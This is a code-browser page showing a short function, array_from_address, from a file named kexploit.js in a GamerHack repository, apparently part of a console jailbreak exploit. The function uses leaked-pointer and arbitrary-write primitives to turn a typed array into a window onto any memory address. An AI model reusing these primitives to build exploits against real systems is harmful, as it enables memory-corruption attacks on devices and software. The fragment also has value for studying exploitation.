MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / array_from_address

Function array_from_address

restore/900v3/kexploit.js:150–160  ·  view source on GitHub ↗
(addr, size)

Source from the content-addressed store, hash-verified

148 }
149
150 function array_from_address(addr, size) {
151 var og_array = new Uint32Array(0x1000);
152 var og_array_i = p.leakval(og_array).add32(0x10);
153
154 p.write8(og_array_i, addr);
155 p.write4(og_array_i.add32(0x8), size);
156 p.write4(og_array_i.add32(0xC), 0x1);
157
158 nogc.push(og_array);
159 return og_array;
160 }
161
162 function stringify(str) {
163 var bufView = new Uint8Array(str.length + 1);

Callers

nothing calls this directly

Calls 1

write8Method · 0.45

Tested by

no test coverage detected